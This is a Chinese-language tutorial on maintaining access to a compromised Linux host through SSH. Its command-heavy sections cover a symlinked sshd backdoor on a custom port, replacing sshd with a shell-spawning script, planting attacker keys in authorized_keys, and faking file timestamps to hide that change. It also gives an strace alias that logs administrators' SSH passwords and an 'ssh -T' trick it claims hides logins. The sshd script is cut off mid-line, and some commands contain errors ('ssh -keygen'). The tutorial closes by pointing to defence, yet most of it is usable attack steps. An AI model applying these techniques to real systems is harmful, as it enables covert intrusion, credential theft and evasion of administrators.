目录
深入探索 Linux 权限维持之 SSH 后门与公私钥技术
SSH 后门:开启隐藏访问通道
利用软链接创建 SSH 后门
SSH Server Rapper 方法
公私钥:实现免密登录与权限维持
生成与部署公私钥
隐藏公私钥操作痕迹
其他相关技巧与注意事项
SSH 键盘记录器
SSH 隐身登录
总结
在 Linux 系统安全领域,权限维持是攻击者在获取初始访问权限后,为长期控制目标系统所采用的关键技术手段。其中,SSH 后门的建立以及公私钥的巧妙运用,是实现权限维持的重要方式。本文将深入探讨这些技术,为大家全面解析其原理、操作步骤及相关命令。
SSH(Secure Shell)作为 Linux 系统中常用的远程连接协议,为用户提供了安全的远程管理方式。然而,攻击者却能利用它来建立后门,获取无密码验证的访问权限。
通过在 Linux 系统中创建软链接,可以巧妙地为 SSH 服务设置后门。具体操作是使用ln -sf
命令,该命令用于创建软链接。例如:
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=12345
上述命令中,首先使用ln -sf
将/usr/sbin/sshd
(SSH 服务程序)链接到/tmp/su
,然后通过/tmp/su -oPort=12345
指定在 12345 端口启动 SSH 服务。这样一来,攻击者就可以通过ssh
连接到该端口,无需密码即可登录系统。但需要注意的是,如果系统配置不允许 root 用户远程登录,那么此方法也无法以 root 用户身份登录。
这种方法通过编写特定的脚本,实现更为隐蔽的 SSH 后门。具体步骤如下:
/usr/sbin
目录,将sshd
服务程序移动到其他位置,例如:mv /usr/sbin/sshd /usr/sbin/sshd.bak
echo
命令编写脚本内容,并将其写入到/usr/sbin/sshd
文件中。脚本内容通常会涉及到对客户端连接的处理,例如:echo -e '#!/bin/bash\nif [ "$(echo -n "$( /usr/sbin/sshd
sshd
脚本赋予可执行权限,命令如下:chmod +x /usr/sbin/sshd
完成上述操作后,当攻击者使用socat
工具连接到指定端口时,就能获取到目标系统的 Shell。如果目标机支持 Python,还可以利用 Python 的pty
模块建立虚拟终端,提升操作体验,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'
在 Linux 系统中,公私钥机制不仅用于提高远程登录的便利性,也能被攻击者利用来维持权限。
使用ssh -keygen
工具可以生成公私钥对,命令如下:
ssh -keygen -t rsa
执行上述命令后,系统会提示选择保存私钥的目录,一般保持默认即可,生成的私钥会保存在~/.ssh/
目录下。同时,还可以设置一个密码(passphrase),增加登录的安全性。生成的公钥位于~/.ssh/id_rsa.pub
文件中,将该公钥发送到目标机器,并追加到~/.ssh/authorized_keys
文件中,命令如下:
cat ~/.ssh/id_rsa.pub | ssh user@target_machine 'cat >> ~/.ssh/authorized_keys'
完成上述操作后,攻击者在拥有私钥的情况下,就可以无需密码登录到目标机器。
在部署公钥后,文件的修改时间可能会暴露攻击者的操作。为了隐藏痕迹,可以使用touch
命令修改文件的时间戳,使其与其他文件保持一致。例如:
touch -r /etc/hosts ~/.ssh/authorized_keys
上述命令将~/.ssh/authorized_keys
文件的时间戳修改为与/etc/hosts
文件相同,从而降低被发现的风险。
攻击者可以通过建立别名和利用strace
命令来实现 SSH 键盘记录器,获取目标用户的敏感信息,如登录密码。具体操作是创建ssh
命令的别名,使其在执行ssh
命令前先执行strace
进行数据跟踪记录,命令如下:
alias ssh='strace -o /tmp/ssh_pwd -e read,write ssh'
这样,当管理员使用ssh
远程登录其他主机时,输入的密码和执行的命令都会被记录到/tmp/ssh_pwd
文件中。
为了避免在系统日志中留下登录记录,攻击者可以采用隐身登录的技巧。使用ssh -T
参数登录,不会在who
和last
命令的输出中显示登录记录,从而实现隐身登录:
ssh -T user@target_machine
Linux 权限维持中的 SSH 后门以及公私钥技术是网络安全攻防中的重要内容。攻击者利用这些技术获取和维持对目标系统的访问权限,而安全人员则需要深入了解这些技术,以便及时发现和防范潜在的安全威胁。通过本文的介绍,希望读者能够对这些技术有更深入的理解,提升在 Linux 系统安全领域的认知和防范能力。在实际的网络环境中,无论是系统管理员还是安全从业者,都应时刻保持警惕,加强系统安全防护,确保系统的安全性和稳定性。